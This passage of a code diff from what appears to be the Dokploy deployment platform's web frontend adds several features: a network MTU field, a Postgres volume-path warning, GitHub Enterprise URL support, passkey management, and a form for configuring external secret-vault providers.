ipamConfig: z.array(ipamConfigEntrySchema),
})
@@ -85,6 +93,7 @@ const defaultValues: NetworkFormValues = {
attachable: false,
enableIPv4: true,
enableIPv6: false,
mtu: "",
ipamDriver: "",
ipamConfig: [],
};
@@ -147,6 +156,7 @@ export const HandleNetwork = ({ serverId, children }: HandleNetworkProps) => {
attachable: data.attachable,
enableIPv4: data.enableIPv4,
enableIPv6: data.enableIPv6,
mtu: data.mtu ? Number(data.mtu) : undefined,
ipam: {
driver: data.ipamDriver || undefined,
config: data.ipamConfig,
@@ -232,6 +242,27 @@ export const HandleNetwork = ({ serverId, children }: HandleNetworkProps) => {
</FormItem>
)}
/>
<FormField
control={form.control}
name="mtu"
render={({ field }) => (
<FormItem>
<FormLabel>MTU (optional)</FormLabel>
<FormControl>
<Input
placeholder="1500"
inputMode="numeric"
{...field}
/>
</FormControl>
<FormDescription className="text-muted-foreground">
Maximum transmission unit. Leave empty to use Docker's
default.
</FormDescription>
<FormMessage />
</FormItem>
)}
/>
</div>
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2">
{toggleOptions.map((option) => (
@@ -4,6 +4,7 @@ import { useEffect } from "react";
import { useFieldArray, useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { AlertBlock } from "@/components/shared/alert-block";
import { Button } from "@/components/ui/button";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import {
@@ -18,6 +19,19 @@ import { Input } from "@/components/ui/input";
import { api } from "@/utils/api";
import type { ServiceType } from "../../application/advanced/show-resources";
const getPostgresMountPath = (dockerImage: string): string => {
const versionMatch = dockerImage.match(/postgres:(\d+)/);
if (versionMatch?.[1]) {
const version = Number.parseInt(versionMatch[1], 10);
if (version >= 18) {
return `/var/lib/postgresql/${version}/docker`;
}
}
return "/var/lib/postgresql/data";
};
const POSTGRES_DATA_PATH_REGEX = /^\/var\/lib\/postgresql(\/|$)/;
const addDockerImage = z.object({
dockerImage: z.string().min(1, "Docker image is required"),
command: z.string(),
@@ -91,6 +105,27 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
}
}, [data, form]);
const dockerImage = form.watch("dockerImage");
const mountPathWarning = (() => {
if (type !== "postgres" || !dockerImage) return null;
const mounts = data && "mounts" in data ? data.mounts : [];
const dataMounts = mounts.filter(
(mount) =>
mount.type === "volume" &&
POSTGRES_DATA_PATH_REGEX.test(mount.mountPath),
);
if (dataMounts.length === 0) return null;
const expectedPath = getPostgresMountPath(dockerImage);
if (dataMounts.some((mount) => mount.mountPath === expectedPath)) {
return null;
}
return {
expectedPath,
currentPath: dataMounts.map((mount) => mount.mountPath).join(", "),
};
})();
const onSubmit = async (formData: AddDockerImage) => {
await mutateAsync({
mongoId: id || "",
@@ -139,6 +174,18 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
</FormItem>
)}
/>
{mountPathWarning && (
<AlertBlock type="warning">
This image expects its data directory under{" "}
<code>{mountPathWarning.expectedPath}</code>, but the
volume of this database is mounted at{" "}
<code>{mountPathWarning.currentPath}</code>. Changing the
image does not migrate existing data — Postgres may
crash-loop or start with an empty database. Adjust the
volume mount path in the Volumes section or keep a
compatible image before saving.
</AlertBlock>
)}
</div>
<FormField
control={form.control}
@@ -6,6 +6,7 @@ import { toast } from "sonner";
import { z } from "zod";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
import { Button } from "@/components/ui/button";
import {
Dialog,
@@ -55,6 +56,11 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
},
);
const completionSource = useEnvCompletionSource({
includeShared: false,
projectId: data?.projectId,
environmentId,
});
const form = useForm<UpdateEnvironment>({
defaultValues: {
env: data?.env ?? "",
@@ -134,7 +140,9 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
<AlertBlock type="info">
Use this syntax to reference environment-level variables in your
service environments:{" "}
<code>API_URL=${"{{environment.API_URL}}"}</code>
<code>API_URL=${"{{environment.API_URL}}"}</code>. You can also
reference secrets from a configured vault provider:{" "}
<code>DB_URL=${"{{vault.<provider>.<secret>}}"}</code>
</AlertBlock>
<div className="grid gap-4">
<div className="grid items-center gap-4">
@@ -151,6 +159,7 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
<FormLabel>Environment variables</FormLabel>
<FormControl>
<CodeEditor
completionSource={completionSource}
lineWrapping
language="properties"
readOnly={!canWrite}
@@ -6,6 +6,7 @@ import { toast } from "sonner";
import { z } from "zod";
import { AlertBlock } from "@/components/shared/alert-block";
import { CodeEditor } from "@/components/shared/code-editor";
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
import { Button } from "@/components/ui/button";
import {
Dialog,
@@ -55,6 +56,10 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
},
);
const completionSource = useEnvCompletionSource({
includeShared: false,
projectId,
});
const form = useForm<UpdateProject>({
defaultValues: {
env: data?.env ?? "",
@@ -77,6 +82,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
.then(() => {
toast.success("Project env updated successfully");
utils.project.all.invalidate();
utils.project.one.invalidate({ projectId });
})
.catch(() => {
toast.error("Error updating the env");
@@ -149,6 +155,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
<FormLabel>Environment variables</FormLabel>
<FormControl>
<CodeEditor
completionSource={completionSource}
lineWrapping
language="properties"
readOnly={!canWrite}
@@ -91,6 +91,7 @@ export const RequestDistributionChart = ({
<Area
dataKey="count"
type="monotone"
isAnimationActive={false}
fill="hsl(var(--chart-1))"
fillOpacity={0.4}
stroke="hsl(var(--chart-1))"
@@ -63,7 +63,7 @@ export const ShowRequests = () => {
const [dateRange, setDateRange] = useState<{
from: Date | undefined;
to: Date | undefined;
}>(getDefaultDateRange());
}>(() => getDefaultDateRange());
// Check if logs exist to determine if traefik has been reloaded
// Only fetch when active to minimize network calls
@@ -13,6 +13,7 @@ import {
import { Input } from "@/components/ui/input";
import { Switch } from "@/components/ui/switch";
import { api } from "@/utils/api";
import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils";
export const AddGithubProvider = () => {
const [isOpen, setIsOpen] = useState(false);
@@ -23,6 +24,9 @@ export const AddGithubProvider = () => {
const [manifest, setManifest] = useState("");
const [isOrganization, setIsOrganization] = useState(false);
const [organizationName, setOrganization] = useState("");
const [githubUrl, setGithubUrl] = useState(DEFAULT_GITHUB_URL);
const { baseUrl, error: githubUrlError } = resolveGithubBaseUrl(githubUrl);
const randomString = () => Math.random().toString(36).slice(2, 8);
@@ -30,7 +34,7 @@ export const AddGithubProvider = () => {
const url = document.location.origin;
const manifest = JSON.stringify(
{
redirect_url: `${origin}/api/providers/github/setup?organizationId=${activeOrganization?.id ?? ""}&userId=${session?.user?.id ?? ""}`,
redirect_url: `${origin}/api/providers/github/setup?organizationId=${activeOrganization?.id ?? ""}&userId=${session?.user?.id ?? ""}&githubUrl=${encodeURIComponent(baseUrl)}`,
name: `Dokploy-${format(new Date(), "yyyy-MM-dd")}-${randomString()}`,
url: origin,
hook_attributes: {
@@ -52,7 +56,7 @@ export const AddGithubProvider = () => {
);
setManifest(manifest);
}, [activeOrganization?.id, session?.user?.id]);
}, [activeOrganization?.id, session?.user?.id, baseUrl]);
return (
<Dialog open={isOpen} onOpenChange={setIsOpen}>
@@ -79,6 +83,25 @@ export const AddGithubProvider = () => {
below to get started.
</p>
<div className="mt-4 flex flex-col gap-4">
<div className="flex flex-col gap-2">
<span className="text-sm">GitHub URL</span>
<Input
placeholder={DEFAULT_GITHUB_URL}
value={githubUrl}
onChange={(e) => setGithubUrl(e.target.value)}
/>
<span className="text-muted-foreground text-xs">
Leave as is for github.com. For GitHub Enterprise, use your
instance URL (e.g. https://acme.ghe.com or
https://github.acme.com).
</span>
{githubUrlError && (
<span className="text-destructive text-xs">
{githubUrlError}
</span>
)}
</div>
<div className="flex flex-row gap-4">
<span>Organization?</span>
<Switch
@@ -98,8 +121,8 @@ export const AddGithubProvider = () => {
<form
action={
isOrganization
? `https://github.com/organizations/${organizationName}/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
: `https://github.com/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
? `${baseUrl}/organizations/${organizationName}/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
: `${baseUrl}/settings/apps/new?state=gh_init:${activeOrganization?.id}:${session?.user?.id ?? ""}`
}
method="post"
>
@@ -116,22 +139,25 @@ export const AddGithubProvider = () => {
<a
href={
isOrganization && organizationName
? `https://github.com/organizations/${organizationName}/settings/installations`
: "https://github.com/settings/installations"
? `${baseUrl}/organizations/${organizationName}/settings/installations`
: `${baseUrl}/settings/installations`
}
className={`text-muted-foreground text-sm hover:underline duration-300
${
isOrganization && !organizationName
? "pointer-events-none opacity-50"
: ""
}`}
}`}
target="_blank"
rel="noopener noreferrer"
>
Unsure if you already have an app?
</a>
<Button
disabled={isOrganization && organizationName.length < 1}
disabled={
!!githubUrlError ||
(isOrganization && organizationName.length < 1)
}
type="submit"
className="self-end"
>
@@ -147,6 +147,15 @@ export const EditGithubProvider = ({ githubId }: Props) => {
)}
/>
<div className="flex flex-col gap-2">
<span className="text-sm font-medium">GitHub URL</span>
<Input value={github?.githubUrl ?? ""} readOnly />
<span className="text-muted-foreground text-xs">
Set when the app was created and not editable, the app
credentials belong to this instance.
</span>
</div>
<div className="flex w-full justify-between gap-4 mt-4">
<Button
type="button"
@@ -33,6 +33,7 @@ import {
TooltipTrigger,
} from "@/components/ui/tooltip";
import { api } from "@/utils/api";
import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
import { useUrl } from "@/utils/hooks/use-url";
import { AddBitbucketProvider } from "./bitbucket/add-bitbucket-provider";
import { EditBitbucketProvider } from "./bitbucket/edit-bitbucket-provider";
@@ -161,6 +162,14 @@ export const ShowGitProviders = () => {
<span className="text-sm font-medium">
{gitProvider.name}
</span>
{isGithub &&
gitProvider.github?.githubUrl &&
gitProvider.github.githubUrl !==
DEFAULT_GITHUB_URL && (
<span className="text-xs text-muted-foreground">
{gitProvider.github.githubUrl}
</span>
)}
<span className="text-xs text-muted-foreground">
{formatDate(
gitProvider.createdAt,
@@ -0,0 +1,170 @@
import { Fingerprint, Loader2, Plus, Trash2 } from "lucide-react";
import { useState } from "react";
import { toast } from "sonner";
import { DateTooltip } from "@/components/shared/date-tooltip";
import { DialogAction } from "@/components/shared/dialog-action";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import { Input } from "@/components/ui/input";
import { Label } from "@/components/ui/label";
import { authClient } from "@/lib/auth-client";
import { api } from "@/utils/api";
export const ManagePasskeys = () => {
const utils = api.useUtils();
const [isDialogOpen, setIsDialogOpen] = useState(false);
const { data: passkeys, isLoading } = api.user.listPasskeys.useQuery(
undefined,
{
enabled: isDialogOpen,
},
);
const [name, setName] = useState("");
const [isAdding, setIsAdding] = useState(false);
const [deletingId, setDeletingId] = useState<string | null>(null);
const handleAddPasskey = async (e: React.FormEvent) => {
e.preventDefault();
setIsAdding(true);
try {
const result = await authClient.passkey.addPasskey({
name: name.trim() || undefined,
});
if (result?.error) {
toast.error(result.error.message);
return;
}
toast.success("Passkey added successfully");
setName("");
utils.user.listPasskeys.invalidate();
} catch {
toast.error("Failed to add passkey");
} finally {
setIsAdding(false);
}
};
const handleDeletePasskey = async (id: string) => {
setDeletingId(id);
try {
const result = await authClient.passkey.deletePasskey({ id });
if (result?.error) {
toast.error(result.error.message);
return;
}
toast.success("Passkey removed");
utils.user.listPasskeys.invalidate();
} catch {
toast.error("Failed to remove passkey");
} finally {
setDeletingId(null);
}
};
return (
<Dialog open={isDialogOpen} onOpenChange={setIsDialogOpen}>
<DialogTrigger asChild>
<Button variant="secondary">
<Fingerprint className="size-4 text-muted-foreground" />
Passkeys
</Button>
</DialogTrigger>
<DialogContent className="sm:max-w-xl">
<DialogHeader>
<DialogTitle>Passkeys</DialogTitle>
<DialogDescription>
Sign in without a password using your device's biometrics, security
key, or password manager.
</DialogDescription>
</DialogHeader>
<div className="space-y-4">
{isLoading ? (
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[10vh]">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : passkeys && passkeys.length > 0 ? (
<div className="grid gap-3">
{passkeys.map((passkey) => (
<div
key={passkey.id}
className="flex items-center justify-between gap-2 p-4 border rounded-lg"
>
<div className="flex flex-col gap-1 min-w-0">
<span className="font-medium flex items-center gap-2">
<Fingerprint className="size-4 text-muted-foreground shrink-0" />
<span className="truncate">
{passkey.name || "Unnamed passkey"}
</span>
<Badge variant="outline">
{passkey.deviceType === "singleDevice"
? "Device"
: "Synced"}
</Badge>
</span>
{passkey.createdAt && (
<DateTooltip
date={passkey.createdAt.toString()}
className="text-sm"
>
Added
</DateTooltip>
)}
</div>
<DialogAction
title="Remove this passkey?"
description="You will no longer be able to sign in with it. This action cannot be undone."
onClick={() => handleDeletePasskey(passkey.id)}
>
<Button
variant="ghost"
size="icon"
isLoading={deletingId === passkey.id}
className="text-muted-foreground hover:text-destructive"
>
<Trash2 className="size-4" />
</Button>
</DialogAction>
</div>
))}
</div>
) : (
<div className="flex flex-col items-center gap-2 py-6 text-sm text-muted-foreground border rounded-lg">
<Fingerprint className="size-6" />
<span>No passkeys registered yet</span>
</div>
)}
<form onSubmit={handleAddPasskey} className="flex flex-col gap-2">
<Label htmlFor="passkey-name">Passkey Name</Label>
<div className="flex gap-2">
<Input
id="passkey-name"
placeholder="e.g. MacBook Touch ID"
value={name}
onChange={(e) => setName(e.target.value)}
/>
<Button type="submit" isLoading={isAdding}>
<Plus className="size-4" />
Add Passkey
</Button>
</div>
</form>
</div>
</DialogContent>
</Dialog>
);
};
@@ -31,6 +31,7 @@ import { generateSHA256Hash, getFallbackAvatarInitials } from "@/lib/utils";
import { api } from "@/utils/api";
import { Configure2FA } from "./configure-2fa";
import { Enable2FA } from "./enable-2fa";
import { ManagePasskeys } from "./manage-passkeys";
const profileSchema = z.object({
email: z
@@ -162,7 +163,10 @@ export const ProfileForm = () => {
</CardDescription>
</div>
{!data?.user.twoFactorEnabled ? <Enable2FA /> : <Configure2FA />}
<div className="flex flex-row gap-2 flex-wrap">
<ManagePasskeys />
{!data?.user.twoFactorEnabled ? <Enable2FA /> : <Configure2FA />}
</div>
</CardHeader>
<CardContent className="space-y-2 py-8 border-t">
@@ -19,8 +19,6 @@ export const ShowDokployActions = () => {
const { mutateAsync: reloadServer, isPending } =
api.settings.reloadServer.useMutation();
const { mutateAsync: cleanRedis } = api.settings.cleanRedis.useMutation();
const { mutateAsync: reloadRedis } = api.settings.reloadRedis.useMutation();
const { mutateAsync: cleanAllDeploymentQueue } =
api.settings.cleanAllDeploymentQueue.useMutation();
@@ -70,21 +68,6 @@ export const ShowDokployActions = () => {
</DropdownMenuItem>
</UpdateServerIp>
<DropdownMenuItem
className="cursor-pointer"
onClick={async () => {
await cleanRedis()
.then(async () => {
toast.success("Redis cleaned");
})
.catch(() => {
toast.error("Error cleaning Redis");
});
}}
>
Clean Redis
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer"
onClick={async () => {
@@ -99,21 +82,6 @@ export const ShowDokployActions = () => {
>
Clean all deployment queue
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer"
onClick={async () => {
await reloadRedis()
.then(async () => {
toast.success("Redis reloaded");
})
.catch(() => {
toast.error("Error reloading Redis");
});
}}
>
Reload Redis
</DropdownMenuItem>
</DropdownMenuGroup>
</DropdownMenuContent>
</DropdownMenu>
@@ -0,0 +1,945 @@
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
import { PenBoxIcon, PlusIcon } from "lucide-react";
import { useEffect, useState } from "react";
import { useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { vaultProviderIcons } from "@/components/icons/vault-provider-icons";
import { AlertBlock } from "@/components/shared/alert-block";
import { Button } from "@/components/ui/button";
import { Checkbox } from "@/components/ui/checkbox";
import {
Dialog,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import {
Form,
FormControl,
FormDescription,
FormField,
FormItem,
FormLabel,
FormMessage,
} from "@/components/ui/form";
import { Input } from "@/components/ui/input";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import { api } from "@/utils/api";
const providerLabels = {
hashicorp: "HashiCorp Vault / OpenBao",
infisical: "Infisical",
aws: "AWS Secrets Manager",
doppler: "Doppler",
azure: "Azure Key Vault",
} as const;
type ProviderType = keyof typeof providerLabels;
const VaultProviderSchema = z
.object({
name: z
.string()
.min(1, { message: "Name is required" })
.regex(/^[a-zA-Z0-9_-]+$/, {
message:
"Only letters, numbers, dashes and underscores (used in ${{vault.<name>.<secret>}})",
}),
providerType: z.enum(["hashicorp", "infisical", "aws", "doppler", "azure"]),
url: z.string(),
token: z.string(),
namespace: z.string(),
mount: z.string(),
siteUrl: z.string(),
clientId: z.string(),
clientSecret: z.string(),
projectId: z.string(),
environmentSlug: z.string(),
secretPath: z.string(),
region: z.string(),
accessKeyId: z.string(),
secretAccessKey: z.string(),
serviceToken: z.string(),
awsEndpoint: z.string(),
vaultUri: z.string(),
tenantId: z.string(),
azureClientId: z.string(),
azureClientSecret: z.string(),
dopplerProject: z.string(),
dopplerConfig: z.string(),
assignments: z.array(
z.object({
projectId: z.string(),
environmentIds: z.array(z.string()),
}),
),
})
.superRefine((data, ctx) => {
const isValidUrl = (value: string) => {
try {
new URL(value);
return true;
} catch {
return false;
}
};
if (
data.providerType === "hashicorp" &&
data.url &&
!isValidUrl(data.url)
) {
ctx.addIssue({
code: z.ZodIssueCode.custom,
message: "Enter a valid URL (e.g. https://vault.example.com:8200)",
path: ["url"],
});
}
if (
data.providerType === "azure" &&
data.vaultUri &&
!isValidUrl(data.vaultUri)
) {
ctx.addIssue({
code: z.ZodIssueCode.custom,
message: "Enter a valid URL (e.g. https://my-vault.vault.azure.net)",
path: ["vaultUri"],
});
}
if (
data.providerType === "aws" &&
data.awsEndpoint &&
!isValidUrl(data.awsEndpoint)
) {
ctx.addIssue({
code: z.ZodIssueCode.custom,
message: "Enter a valid URL",
path: ["awsEndpoint"],
});
}
if (
data.providerType === "infisical" &&
data.siteUrl &&
!isValidUrl(data.siteUrl)
) {
ctx.addIssue({
code: z.ZodIssueCode.custom,
message: "Enter a valid URL (e.g. https://app.infisical.com)",
path: ["siteUrl"],
});
}
const required: Partial<
Record<ProviderType, [keyof typeof data, string][]>
> = {
hashicorp: [
["url", "Vault URL is required"],
["token", "Token is required"],
["mount", "Mount is required"],
],
infisical: [
["siteUrl", "Site URL is required"],
["clientId", "Client ID is required"],
["clientSecret", "Client Secret is required"],
["projectId", "Project ID is required"],
["environmentSlug", "Environment is required"],
],
aws: [
["region", "Region is required"],
["accessKeyId", "Access Key ID is required"],
["secretAccessKey", "Secret Access Key is required"],
],
doppler: [["serviceToken", "Service Token is required"]],
azure: [
["vaultUri", "Vault URI is required"],
["tenantId", "Tenant ID is required"],
["azureClientId", "Client ID is required"],
["azureClientSecret", "Client Secret is required"],
],
};
for (const [field, message] of required[data.providerType] ?? []) {
if (!data[field]) {
ctx.addIssue({
code: z.ZodIssueCode.custom,
message,
path: [field],
});
}
}
if (
data.providerType === "doppler" &&
data.serviceToken &&
!data.serviceToken.startsWith("dp.st.") &&
data.serviceToken !== "********"
) {
for (const field of ["dopplerProject", "dopplerConfig"] as const) {
if (!data[field]) {
ctx.addIssue({
code: z.ZodIssueCode.custom,
message: "Required for personal/CLI tokens (dp.pt. / dp.ct.)",
path: [field],
});
}
}
}
});
type VaultProviderForm = z.infer<typeof VaultProviderSchema>;
const defaultValues: VaultProviderForm = {
name: "",
providerType: "hashicorp",
url: "",
token: "",
namespace: "",
mount: "secret",
siteUrl: "https://app.infisical.com",
clientId: "",
clientSecret: "",
projectId: "",
environmentSlug: "",
secretPath: "/",
region: "",
accessKeyId: "",
secretAccessKey: "",
serviceToken: "",
awsEndpoint: "",
vaultUri: "",
tenantId: "",
azureClientId: "",
azureClientSecret: "",
dopplerProject: "",
dopplerConfig: "",
assignments: [],
};
const buildConfig = (data: VaultProviderForm) => {
switch (data.providerType) {
case "hashicorp":
return {
providerType: "hashicorp" as const,
url: data.url,
token: data.token,
namespace: data.namespace || undefined,
mount: data.mount || "secret",
};
case "infisical":
return {
providerType: "infisical" as const,
siteUrl: data.siteUrl || "https://app.infisical.com",
clientId: data.clientId,
clientSecret: data.clientSecret,
projectId: data.projectId,
environmentSlug: data.environmentSlug,
secretPath: data.secretPath || "/",
};
case "aws":
return {
providerType: "aws" as const,
region: data.region,
accessKeyId: data.accessKeyId,
secretAccessKey: data.secretAccessKey,
endpoint: data.awsEndpoint || undefined,
};
case "doppler":
return {
providerType: "doppler" as const,
serviceToken: data.serviceToken,
project: data.dopplerProject || undefined,
config: data.dopplerConfig || undefined,
};
case "azure":
return {
providerType: "azure" as const,
vaultUri: data.vaultUri,
tenantId: data.tenantId,
clientId: data.azureClientId,
clientSecret: data.azureClientSecret,
};
}
};
const extractErrorMessage = (err: unknown) => {
if (!(err instanceof Error)) return undefined;
try {
const issues = JSON.parse(err.message) as { message?: string }[];
if (Array.isArray(issues)) {
return issues
.map((issue) => issue.message)
.filter(Boolean)
.join(", ");
}
} catch {}
return err.message;
};
interface Props {
vaultProviderId?: string;
}
export const HandleVaultProvider = ({ vaultProviderId }: Props) => {
const utils = api.useUtils();
const [isOpen, setIsOpen] = useState(false);
const { data: provider } = api.vaultProvider.one.useQuery(
{ vaultProviderId: vaultProviderId || "" },
{ enabled: !!vaultProviderId && isOpen },
);
const { mutateAsync, isPending, error, isError } = vaultProviderId
? api.vaultProvider.update.useMutation()
: api.vaultProvider.create.useMutation();
const { mutateAsync: testConnection, isPending: isTesting } =
api.vaultProvider.testConnection.useMutation();
const form = useForm<VaultProviderForm>({
defaultValues,
resolver: zodResolver(VaultProviderSchema),
});
const providerType = form.watch("providerType");
const assignments = form.watch("assignments");
const { data: orgProjects } = api.project.all.useQuery();
const setAssignments = (
next: { projectId: string; environmentIds: string[] }[],
) => form.setValue("assignments", next, { shouldValidate: true });
const toggleProject = (targetProjectId: string) => {
const exists = assignments.some((a) => a.projectId === targetProjectId);
setAssignments(
exists
? assignments.filter((a) => a.projectId !== targetProjectId)
: [...assignments, { projectId: targetProjectId, environmentIds: [] }],
);
};
const toggleEnvironment = (
targetProjectId: string,
environmentId: string,
) => {
setAssignments(
assignments.map((a) => {
if (a.projectId !== targetProjectId) return a;
const has = a.environmentIds.includes(environmentId);
return {
...a,
environmentIds: has
? a.environmentIds.filter((e) => e !== environmentId)
: [...a.environmentIds, environmentId],
};
}),
);
};
useEffect(() => {
if (provider) {
form.reset({
...defaultValues,
name: provider.name,
providerType: provider.config.providerType,
assignments: provider.assignments ?? [],
...(provider.config.providerType === "hashicorp" && {
url: provider.config.url,
token: provider.config.token,
namespace: provider.config.namespace ?? "",
mount: provider.config.mount,
}),
...(provider.config.providerType === "infisical" && {
siteUrl: provider.config.siteUrl,
clientId: provider.config.clientId,
clientSecret: provider.config.clientSecret,
projectId: provider.config.projectId,
environmentSlug: provider.config.environmentSlug,
secretPath: provider.config.secretPath,
}),
...(provider.config.providerType === "aws" && {
region: provider.config.region,
accessKeyId: provider.config.accessKeyId,
secretAccessKey: provider.config.secretAccessKey,
awsEndpoint: provider.config.endpoint ?? "",
}),
...(provider.config.providerType === "doppler" && {
serviceToken: provider.config.serviceToken,
dopplerProject: provider.config.project ?? "",
dopplerConfig: provider.config.config ?? "",
}),
...(provider.config.providerType === "azure" && {
vaultUri: provider.config.vaultUri,
tenantId: provider.config.tenantId,
azureClientId: provider.config.clientId,
azureClientSecret: provider.config.clientSecret,
}),
});
} else if (!vaultProviderId) {
form.reset(defaultValues);
}
}, [provider, vaultProviderId, form, isOpen]);
const onSubmit = async (data: VaultProviderForm) => {
const payload: any = {
name: data.name,
config: buildConfig(data),
assignments: data.assignments,
...(vaultProviderId && { vaultProviderId }),
};
await mutateAsync(payload)
.then(() => {
toast.success(
vaultProviderId ? "Vault provider updated" : "Vault provider created",
);
utils.vaultProvider.all.invalidate();
setIsOpen(false);
})
.catch(() => {});
};
const onTestConnection = async () => {
const isValid = await form.trigger();
if (!isValid) {
return;
}
const data = form.getValues();
await testConnection({
config: buildConfig(data),
...(vaultProviderId && { vaultProviderId }),
})
.then(() => {
toast.success("Connection successful");
})
.catch((err) => {
toast.error("Connection failed", {
description: extractErrorMessage(err),
});
});
};
return (
<Dialog open={isOpen} onOpenChange={setIsOpen}>
<DialogTrigger asChild>
{vaultProviderId ? (
<Button
variant="ghost"
size="icon"
className="group hover:bg-blue-500/10"
>
<PenBoxIcon className="size-4 text-primary group-hover:text-blue-500" />
</Button>
) : (
<Button className="cursor-pointer space-x-3">
<PlusIcon className="h-4 w-4" />
Add Provider
</Button>
)}
</DialogTrigger>
<DialogContent className="max-h-screen overflow-y-auto sm:max-w-lg">
<DialogHeader>
<DialogTitle>
{vaultProviderId ? "Update Vault Provider" : "Add Vault Provider"}
</DialogTitle>
<DialogDescription>
Reference secrets in your environment variables with{" "}
<code>{"${{vault.<name>.<secret>}}"}</code>. Secrets are fetched at
deploy time and never stored in Dokploy.
</DialogDescription>
</DialogHeader>
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
<Form {...form}>
<form
onSubmit={form.handleSubmit(onSubmit)}
className="grid w-full gap-4"
>
<FormField
control={form.control}
name="name"
render={({ field }) => (
<FormItem>
<FormLabel>Name</FormLabel>
<FormControl>
<Input placeholder="prod-vault" {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name="providerType"
render={({ field }) => (
<FormItem>
<FormLabel>Provider</FormLabel>
<Select
onValueChange={field.onChange}
value={field.value}
disabled={!!vaultProviderId}
>
<FormControl>
<SelectTrigger>
<SelectValue placeholder="Select a provider" />
</SelectTrigger>
</FormControl>
<SelectContent>
{Object.entries(providerLabels).map(([value, label]) => {
const ProviderIcon =
vaultProviderIcons[value as ProviderType];
return (
<SelectItem key={value} value={value}>
<div className="flex flex-row items-center gap-2">
<ProviderIcon className="size-4 shrink-0" />
{label}
</div>
</SelectItem>
);
})}
</SelectContent>
</Select>
<FormMessage />
</FormItem>
)}
/>
{providerType === "hashicorp" && (
<>
<FormField
control={form.control}
name="url"
render={({ field }) => (
<FormItem>
<FormLabel>Vault URL</FormLabel>
<FormControl>
<Input
placeholder="https://vault.example.com:8200"
{...field}
/>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name="token"
render={({ field }) => (
<FormItem>
<FormLabel>Token</FormLabel>
<FormControl>
<Input type="password" {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<div className="grid grid-cols-2 gap-4">
<FormField
control={form.control}
name="mount"
render={({ field }) => (
<FormItem>
<FormLabel>KV Mount</FormLabel>
<FormControl>
<Input placeholder="secret" {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name="namespace"
render={({ field }) => (
<FormItem>
<FormLabel>Namespace (optional)</FormLabel>
<FormControl>
<Input placeholder="admin" {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
</div>
<FormDescription>
Reference format:{" "}
<code>{"${{vault.<name>.path/to/secret:FIELD}}"}</code>
</FormDescription>
</>
)}
{providerType === "infisical" && (
<>
<FormField
control={form.control}
name="siteUrl"
render={({ field }) => (
<FormItem>
<FormLabel>Site URL</FormLabel>
<FormControl>
<Input
placeholder="https://app.infisical.com"
{...field}
/>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<div className="grid grid-cols-2 gap-4">
<FormField
control={form.control}
name="clientId"
render={({ field }) => (
<FormItem>
<FormLabel>Client ID</FormLabel>
<FormControl>
<Input {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name="clientSecret"
render={({ field }) => (
<FormItem>
<FormLabel>Client Secret</FormLabel>
<FormControl>
<Input type="password" {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
</div>
<div className="grid grid-cols-2 gap-4">
<FormField
control={form.control}
name="projectId"
render={({ field }) => (
<FormItem>
<FormLabel>Project ID</FormLabel>
<FormControl>
<Input {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name="environmentSlug"
render={({ field }) => (
<FormItem>
<FormLabel>Environment</FormLabel>
<FormControl>
<Input placeholder="prod" {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
</div>
<FormField
control={form.control}
name="secretPath"
render={({ field }) => (
<FormItem>
<FormLabel>Secret Path</FormLabel>
<FormControl>
<Input placeholder="/" {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
</>
)}
{providerType === "aws" && (
<>
<FormField
control={form.control}
name="region"
render={({ field }) => (
<FormItem>
<FormLabel>Region</FormLabel>
<FormControl>
<Input placeholder="us-east-1" {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name="accessKeyId"
render={({ field }) => (
<FormItem>
<FormLabel>Access Key ID</FormLabel>
<FormControl>
<Input {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name="secretAccessKey"
render={({ field }) => (
<FormItem>
